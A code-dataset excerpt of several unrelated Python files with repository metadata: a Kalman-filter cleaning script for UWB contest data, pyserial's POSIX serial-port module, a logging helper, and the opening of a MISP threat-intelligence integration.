c4734647ad436cf5884075f906a3e9f10fc4dcfa

[ "Apache-2.0" ]

2

2021-12-10T08:38:47.000Z

2021-12-31T08:44:18.000Z

task1_makeTrainingDataset.py

huxiaoyi0625/Mathematical_Modeling_Contest_E_2021

40293aa2375daa46d2351870c72394d4e1114081

[ "Apache-2.0" ]

null

task1_makeTrainingDataset.py

huxiaoyi0625/Mathematical_Modeling_Contest_E_2021

40293aa2375daa46d2351870c72394d4e1114081

[ "Apache-2.0" ]

null

import csv import re import numpy as np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数，这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1，H=1的情况 # intial parameters sz = (n_iter,) # size of array # Q = 1e-5 # process variance Q = 1e-6 # process variance # allocate space for arrays xhat = np.zeros(sz) # a posteri estimate of x P = np.zeros(sz) # a posteri error estimate xhatminus = np.zeros(sz) # a priori estimate of x Pminus = np.zeros(sz) # a priori error estimate K = np.zeros(sz) # gain or blending factor R = 0.015 ** 2 # estimate of measurement variance, change to see effect # intial guesses xhat[0] = 0.0 P[0] = 1.0 A = 1 H = 1 for k in range(1, n_iter): # time update xhatminus[k] = A * xhat[k - 1] # X(k|k-1) = AX(k-1|k-1) + BU(k) + W(k),A=1,BU(k) = 0 Pminus[k] = A * P[k - 1] + Q # P(k|k-1) = AP(k-1|k-1)A' + Q(k) ,A=1 # measurement update K[k] = Pminus[k] / (Pminus[k] + R) # Kg(k)=P(k|k-1)H'/[HP(k|k-1)H' + R],H=1 xhat[k] = xhatminus[k] + K[k] * (z[k] - H * xhatminus[k]) # X(k|k) = X(k|k-1) + Kg(k)[Z(k) - HX(k|k-1)], H=1 P[k] = (1 - K[k] * H) * Pminus[k] # P(k|k) = (1 - Kg(k)H)P(k|k-1), H=1 return xhat def data_process(file_path: str): with open(file_path, "r") as f: # 打开文件 f.readline() # 去掉第一行 data = f.readlines() # 读取文件 data_num = len(data) / 4 if int(data_num) - data_num < -0.1: raise ValueError("数据数量不对!") initial_time = re.search(":.*:([0-9]*)", data[0], flags=0) # 获取初始数据序列 initial_time = int(initial_time.group(1)) Measures = [] for i in range(int(data_num)): measure = [] for j in range(4): device = [] anchor = re.search(":[0-9]*?:RR:0:([0-9]):[0-9]*?:([0-9]*?):[0-9]*?:([0-9]*)", data[4 * i + j], flags=0) device.extend([int(anchor.group(3)) - initial_time, anchor.group(1), anchor.group(2)]) # 获取数据序号、设备号、测量值 device = list(map(int, device)) measure.append(device) # 一个measure就是四个设备拿到的四份数据 Measures.append(measure) Measures = np.array(Measures) # Measures是三维数组是获取的所有测量数据 normalized_device_data = [] normalized_device_data_x = [] device_data = [] device_data_x = [] for i in range(4): device_data.append(Measures[:, i, 2]) device_data_x.append(np.arange(len(Measures[:, i, 2]))) normalized_device_data.append(device_data[i] / np.max(Measures[:, i, 2])) # 最大值归一化 normalized_device_data_x = device_data_x normalized_device_data = np.array(normalized_device_data) normalized_device_data_x = np.array(normalized_device_data_x) device_data = np.array(device_data) device_data_x = np.array(device_data_x) processed_device_data = np.array(device_data).copy() device_mean = np.mean(device_data, axis=1) device_std = np.std(device_data, axis=1) low_thre = device_mean - device_std * thre # 去除离群点 high_thre = device_mean + device_std * thre # 去除离群点 for _ in range(iteration_num): for i in range(4): for j in range(len(device_data[i, :])): if device_data[i, j] < low_thre[i] or device_data[i, j] > high_thre[i]: processed_device_data[i, j] = device_mean[i] xhat = [] for i in range(4): # raw_data = device_data[i] raw_data = processed_device_data[i] xhat.append(KalmanFilter(raw_data, n_iter=len(raw_data))) xhat = np.array(xhat) xhat = np.around(xhat, 1) # 将滤波后的四组坐标值，保留一位小数 return device_data, xhat # device_data为原始数据,xhat是离群点去除且卡尔曼滤波后的数据 def save_data(file_path: str, Measures): with open(file_path, "w+", newline="") as datacsv: # dialect为打开csv文件的方式，默认是excel，delimiter="\t"参数指写入的时候的分隔符 csvwriter = csv.writer(datacsv, dialect=("excel")) # csv文件插入一行数据，把下面列表中的每一项放入一个单元格（可以用循环插入多行） csvwriter.writerow(["Number", "A0", "A1", "A2", "A3"]) csvwriter.writerows(np.column_stack((np.arange(Measures.shape[1]), Measures.T)), ) def collect_dataset(kind): for i in range(1, 325): file_path = f"./data/附件1：UWB数据集/{kind}数据/{i}.{kind}.txt" original_data, final_processed_data = data_process(file_path) save_data(f"cleaned_data/{kind}数据/{i}.{kind}.csv", final_processed_data) def collect_labels(): pass if __name__ == '__main__': collect_dataset("正常") collect_dataset("异常")

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86720b27c369fdf8140425890d2127c46b5bc111

24,252

py

Python

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py

mattl1598/testing

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

null

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py

mattl1598/testing

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

1

2018-04-15T22:59:15.000Z

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py

mattl1598/Project-Mochachino

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

null

#!/usr/bin/env python # # Python Serial Port Extension for Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010 Chris Liechti <cliechti@gmx.net> # this is distributed under a free software license, see license.txt # # parts based on code from Grant B. Edwards <grante@visi.com>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno, time from .serialutil import * # Do check the Python version as some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl # try to detect the OS so that a device can be selected... # this code block should supply a device() and set_special_baudrate() function # for the platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:3] == 'bsd' or \ plat[:7] == 'freebsd' or \ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set up high speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port, baudrate): raise ValueError("baud rate not supported") def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:4] == 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending on flow control def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} elif plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} else: # platform detection has failed... sys.stderr.write("""\ don't know how to number ttys on this system. ! Use an explicit path (eg /dev/ttyS1) or send this information to ! the author of this module: sys.platform = %r os.name = %r serialposix.py version = %s also add the device name of the serial port and where the counting starts for the first serial port. e.g. 'first serial port: /dev/ttyS0' and with a bit luck you can get this module running... """ % (sys.platform, os.name, VERSION)) # no exception, just continue with a brave attempt to build a device name # even if the device name is not correct for the platform it has chances # to work using a string with the real device name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException("sorry don't know how to handle non standard baud rate on this platform") baudrate_constants = {} #~ raise Exception, "this module does not run on this platform, sorry." # whats up with "aix", "beos", .... # they should work, just need to know the device names. # load some constants for later use. # try to use values from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): """Serial port class POSIX implementation. Serial port configuration is done with termios and fcntl. Runs on Linux and many other Un*x like systems.""" def open(self): """Open port with current settings. This may throw a SerialException if the port cannot be opened.""" self.fd = None if self._port is None: raise SerialException("Port must be configured before it can be used.") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException("could not open port %s: %s" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when closing the port # also to keep original exception that happened when setting up pass self.fd = None raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): """Set communication parameters on opened port.""" if self.fd is None: raise SerialException("Can only operate on a valid file descriptor") custom_baud = None vmin = vtime = 0 # timeout is done via select if self._interCharTimeout is not None: vmin = 1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a port is nonexistent but has a /dev file, it'll fail here raise SerialException("Could not configure port: %s" % msg) # set up raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom baud rate, it isn't in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting up rtscts (and xonxoff etc) fails?? # buffer # vmin "minimal number of characters to be read. = for non blocking" if vmin < 0 or vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom baud rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): """Close port""" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port): return device(port) # - - - - - - - - - - - - - - - - - - - - - - - - def inWaiting(self): """Return the number of characters currently in the input buffer.""" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to work on many systems def read(self, size=1): """Read size bytes from the serial port. If a timeout is set it may return less characters as requested. With no timeout it will block until the requested number of bytes is read.""" if self.fd is None: raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with a timeout, and the timeout occurs, it # returns with empty lists -> thus abort read operation. # For timeout == 0 (non-blocking operation) also abort when there # is nothing to read. if not ready: break # timeout buf = os.read(self.fd, size-len(read)) # read should always return some data as select reported it was # ready to read when we get to this point. if not buf: # Disconnected devices, at least on Linux, show the # behavior that they are always ready to read immediately # but reading returns nothing. raise SerialException('device reports readiness to read but returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): """Output the given string over the serial port.""" if self.fd is None: raise portNotOpenError t = len(data) d = data if self._writeTimeout is not None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout = None while t > 0: try: n = os.write(self.fd, d) if timeout: # when timeout is set, use select to wait for being ready # with the time left as timeout timeleft = timeout - time.time() if timeleft < 0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d = d[n:] t = t - n except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self): """Flush of file like objects. In this case, wait until all data is written.""" self.drainOutput() def flushInput(self): """Clear input buffer, discarding all that is in the buffer.""" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): """Clear output buffer, aborting the current output and discarding all that is in the buffer.""" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): """Send break condition. Timed, returns to idle state after given duration.""" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): """Set break: Controls TXD. When active, no transmitting is possible.""" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): """Set terminal status line: Request To Send""" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): """Set terminal status line: Data Terminal Ready""" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): """Read terminal status line: Clear To Send""" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): """Read terminal status line: Data Set Ready""" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): """Read terminal status line: Ring Indicator""" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): """Read terminal status line: Carrier Detect""" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific - - - - def drainOutput(self): """internal - not portable!""" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): """internal - not portable!""" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): """For easier use of the serial port instance with select. WARNING: this function is not portable to different platforms!""" if self.fd is None: raise portNotOpenError return self.fd def flowControl(self, enable): """manually control flow - when hardware or software flow control is enabled""" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation and the base # for file-like behavior. for Python 2.6 and newer, that provide the new I/O # library, derrive from io.RawIOBase try: import io except ImportError: # classic version with our own file-like emulation class Serial(PosixSerial, FileLike): pass else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): """poll based read implementation. not all systems support poll properly. however this one has better handling of errors, such as a device disconnecting while it's in use (e.g. USB-serial unplugged)""" def read(self, size=1): """Read size bytes from the serial port. If a timeout is set it may return less characters as requested. With no timeout it will block until the requested number of bytes is read.""" if self.fd is None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size: # print "\tread(): size",size, "have", len(read) #debug # wait until device becomes ready to read (or something fails) for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care if it is select.POLLIN or timeout, that's # handled below buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and not buf: break # early abort on timeout return bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a timeout value, None for waiting forever xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\n' % s.read(5)) sys.stdout.write('%s\n' % s.inWaiting()) del s

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867600e9a45eebd6cdfd857a6ba6c53cc063cb70

845

py

Python

retro_star/utils/logger.py

cthoyt/retro_star

280231eb2f5dffc0e14bed300d770977b323205a

[ "MIT" ]

65

2020-06-27T04:28:21.000Z

2022-03-30T11:18:22.000Z

retro_star/utils/logger.py

cthoyt/retro_star

280231eb2f5dffc0e14bed300d770977b323205a

[ "MIT" ]

15

2020-07-07T13:17:05.000Z

2022-03-22T12:52:29.000Z

retro_star/utils/logger.py

cthoyt/retro_star

280231eb2f5dffc0e14bed300d770977b323205a

[ "MIT" ]

14

2020-06-30T09:22:13.000Z

2022-03-30T11:18:28.000Z

import logging def setup_logger(fname=None, silent=False): if fname is None: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(name)-12s: %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filemode='w' ) else: logging.basicConfig( level=logging.INFO if not silent else logging.CRITICAL, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=fname, filemode='w' ) console = logging.StreamHandler() console.setLevel(logging.INFO) formatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s') console.setFormatter(formatter) logging.getLogger('').addHandler(console)

33.8

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845

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null

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null

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1

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86760e9869adb9d8e359c444118b7fb153ad2c74

63,014

py

Python

Packs/MISP/Integrations/MISPV3/MISPV3.py

hiep4hiep/content

f609c4c9548fe2188e8e2e00b2c9e80a74e24427

[ "MIT" ]

null

Packs/MISP/Integrations/MISPV3/MISPV3.py

hiep4hiep/content

f609c4c9548fe2188e8e2e00b2c9e80a74e24427

[ "MIT" ]

42

2022-03-11T10:52:26.000Z

2022-03-31T01:50:42.000Z

Packs/MISP/Integrations/MISPV3/MISPV3.py

hiep4hiep/content

f609c4c9548fe2188e8e2e00b2c9e80a74e24427

[ "MIT" ]

null

# type: ignore from typing import Union, List, Dict from urllib.parse import urlparse import urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython import * logging.getLogger("pymisp").setLevel(logging.CRITICAL) def handle_connection_errors(error): if "SSLError" in error: return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.') if "NewConnectionError" in error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make sure your MISP server url is correct.') if "Please make sure the API key and the URL are correct" in error: return_error('Unable to connect to MISP, ' 'Please make sure the API key is correct.') return_error(error) def warn(*args): """ Do nothing with warnings """ pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r"([a-z¡-\uffff0-9](?:[a-z¡-\uffff0-9-]{0,61}" "[a-z¡-\uffff0-9])?(?:\\.(?!-)[a-z¡-\uffff0-9-]{1,63}(?<!-))*" "\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css" "|html)$)(?:[a-z¡-\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\.?$" "|localhost)" ) 